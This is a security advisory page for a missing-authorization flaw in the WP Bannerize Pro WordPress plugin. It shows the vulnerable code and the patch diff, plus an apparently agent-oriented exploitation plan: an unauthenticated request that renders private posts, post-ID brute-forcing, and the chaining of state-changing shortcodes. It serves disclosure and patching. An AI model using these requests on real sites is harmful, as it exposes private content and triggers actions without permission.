CVE-2026-25012

Bannerize Pro <= 1.11.0 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.11.1
Patched in
9d
Time to patch

Description

The WP Bannerize Pro plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.11.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.11.0
PublishedJanuary 25, 2026
Last updatedFebruary 2, 2026
Affected pluginwp-bannerize-pro

What Changed in the Fix

Changes introduced in v1.11.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: WP Bannerize Pro <= 1.11.0 - Missing Authorization (CVE-2026-25012) ## 1. Vulnerability Summary The **WP Bannerize Pro** plugin (versions up to and including 1.11.0) contains a missing authorization vulnerability within its frontend request handling logic. The `WPBanne…

Show full research plan

Exploitation Research Plan: WP Bannerize Pro <= 1.11.0 - Missing Authorization (CVE-2026-25012)

1. Vulnerability Summary

The WP Bannerize Pro plugin (versions up to and including 1.11.0) contains a missing authorization vulnerability within its frontend request handling logic. The WPBannerizeFrontendServiceProvider class registers a wp_loaded hook that processes requests starting with a specific URI prefix (/wp_bannerize_pro?).

This handler retrieves any WordPress post by an ID provided in the query string and executes do_shortcode() on its content without verifying the post's status (e.g., whether it is private, a draft, or a password-protected post) or checking if the current user has the authority to view that content. This allows unauthenticated attackers to render the content and evaluate shortcodes of any post on the site, leading to unauthorized access to potentially sensitive information or execution of shortcode-based actions.

2. Attack Vector Analysis

  • Endpoint: http://<target-site>/wp_bannerize_pro?id=<POST_ID>
  • HTTP Method: GET
  • Authentication: None (Unauthenticated)
  • Parameters:
    • id: The integer ID of the target post, page, or banner to render.
  • Condition: The REQUEST_URI must start exactly with /wp_bannerize_pro?.
  • Preconditions:
    • The plugin must be active.
    • The site must be installed at the root of the domain (due to the substr($requestUri, 0, 18) check).

3. Code Flow

The vulnerability is located in plugin/Providers/WPBannerizeFrontendServiceProvider.php.

  1. Registration: The register() method hooks wp_loaded:

    add_action('wp_loaded', [$this, 'wp_loaded'], 99);
    
  2. Entry Point: The wp_loaded() method triggers early in the WordPress lifecycle:

    public function wp_loaded()
    {
      $requestMethod = $_SERVER['REQUEST_METHOD'] ?? '';
      $requestUri = $_SERVER['REQUEST_URI'] ?? '';
      $queryString = $_SERVER['QUERY_STRING'] ?? '';
    
      // Vulnerable check: Only checks URI prefix, not permissions
      if (strtolower($requestMethod) === 'get' && substr($requestUri, 0, 18) === '/wp_bannerize_pro?') {
        $queryParams = [];
        parse_str($queryString, $queryParams);
    
        if (isset($queryParams['id']) && !empty($queryParams['id'])) {
          // Sink: Retrieves any post regardless of visibility settings
          $post = get_post($queryParams['id']); ?>
          <!DOCTYPE html>
          <html>
          <body>
            <?php 
            // Sink: Executes shortcodes on content
            echo do_shortcode($post->post_content); 
            ?>
          </body>
          </html>
          <?php die();
        }
      }
    }
    

4. Nonce Acquisition Strategy

This specific vulnerability in the wp_loaded hook does not require a nonce. The code checks the REQUEST_METHOD and REQUEST_URI but does not invoke wp_verify_nonce() or check_admin_referer().

5. Exploitation Strategy

The goal is to demonstrate that an unauthenticated user can read the content of a "Private" post by bypassing standard authorization.

  1. Discovery: Use the http_request tool to check if the endpoint responds.
  2. Payload Construction: Target a known post ID or brute-force IDs to find a private post.
  3. Execution:
    • URL: http://localhost:8080/wp_bannerize_pro?id=<TARGET_ID>
    • Header: Accept: text/html
  4. Analysis: Check the response body for rendered shortcodes or content that should not be visible to unauthenticated users.

6. Test Data Setup

To verify the vulnerability, we need to create content that is normally restricted:

  1. Create a Private Post:
    wp post create --post_type=post --post_title="Secret Report" --post_content="CONFIDENTIAL_DATA_12345 [wp_bannerize_pro id=1]" --post_status=private
    
  2. Note the ID: Capture the ID returned by the wp post create command.
  3. Create a Banner (Optional): If testing specifically for banner rendering:
    wp post create --post_type=wp_bannerize --post_title="Hidden Banner" --post_content="BANNER_CONTENT_ABCDE" --post_status=publish
    

7. Expected Results

  • When accessing the standard post URL (e.g., /?p=<ID>), an unauthenticated user should receive a 404 or redirect to login.
  • When accessing /wp_bannerize_pro?id=<ID>, the plugin should return an HTML document containing:
    • The string CONFIDENTIAL_DATA_12345.
    • The evaluated output of any shortcodes present in the post content.

8. Verification Steps

  1. Initial State: confirm the post is private.
    wp post get <ID> --field=post_status
    # Expected: private
    
  2. Exploit Request: Use the http_request tool.
    await http_request({
      url: "http://localhost:8080/wp_bannerize_pro?id=<ID>",
      method: "GET"
    });
    
  3. Confirmation: Search the response for the secret string.
    if (response.body.includes("CONFIDENTIAL_DATA_12345")) {
      console.log("Vulnerability Confirmed: Unauthenticated access to private post content.");
    }
    

9. Alternative Approaches

If the site is installed in a subdirectory (e.g., /wordpress/), the substr($requestUri, 0, 18) check will fail because the URI will start with /wordpress/wp_bannerize_pro?.

In such a case, exploitation might be possible if:

  1. The attacker can trigger a request where the REQUEST_URI is manipulated (though rare in standard environments).
  2. The site is behind a proxy that strips the subdirectory prefix before it reaches PHP.

If the primary goal is to trigger "Unauthorized Actions" as suggested by the severity, we can look for shortcodes installed on the system (e.g., from other plugins) that perform state changes (like [contact-form-7] triggers or [user_registration_form]) and execute them by providing the ID of the post containing them.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Bannerize Pro plugin for WordPress is vulnerable to unauthorized information disclosure and shortcode execution due to a missing authorization check in the `wp_loaded` hook. Unauthenticated attackers can access the content of any post, including private or password-protected posts, and trigger shortcode processing by navigating to a specific URI with a target post ID.

Vulnerable Code

// plugin/Providers/WPBannerizeFrontendServiceProvider.php:178
  public function wp_loaded()
  {
    $requestMethod = $_SERVER['REQUEST_METHOD'] ?? '';
    $requestUri = $_SERVER['REQUEST_URI'] ?? '';
    $queryString = $_SERVER['QUERY_STRING'] ?? '';

    if (strtolower($requestMethod) === 'get' && substr($requestUri, 0, 18) === '/wp_bannerize_pro?') {
      $queryParams = [];
      parse_str($queryString, $queryParams);

      if (isset($queryParams['id']) && !empty($queryParams['id'])) {
        $post = get_post($queryParams['id']); ?>
        <!DOCTYPE html>
        <html>

        <body>
          <?php echo do_shortcode($post->post_content); ?>
        </body>

        </html>
<?php die();
      }
    }
  }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-bannerize-pro/1.11.0/plugin/Providers/WPBannerizeFrontendServiceProvider.php	2025-08-25 09:32:44.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-bannerize-pro/1.11.1/plugin/Providers/WPBannerizeFrontendServiceProvider.php	2026-01-20 09:05:32.000000000 +0000
@@ -184,7 +186,16 @@
       parse_str($queryString, $queryParams);
 
       if (isset($queryParams['id']) && !empty($queryParams['id'])) {
-	$post = get_post($queryParams['id']); ?>
+
+        $post = get_post($queryParams['id']);
+
+        $is_private = $post->post_status !== 'publish';
+        $is_password_protected = post_password_required($post->ID);
+
+        if ($is_private || $is_password_protected) {
+          return;
+        }
+        ?>
         <!DOCTYPE html>
         <html>

Exploit Outline

An attacker can exploit this vulnerability by sending a GET request to the site's root using the URI pattern `/wp_bannerize_pro?id=[POST_ID]`. Because the plugin processes this request during the `wp_loaded` action without verifying if the post is public or if the requester has permission to view it, the server will respond with the processed content (including any executed shortcodes) of the post associated with the provided ID. No authentication or nonces are required for this attack.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.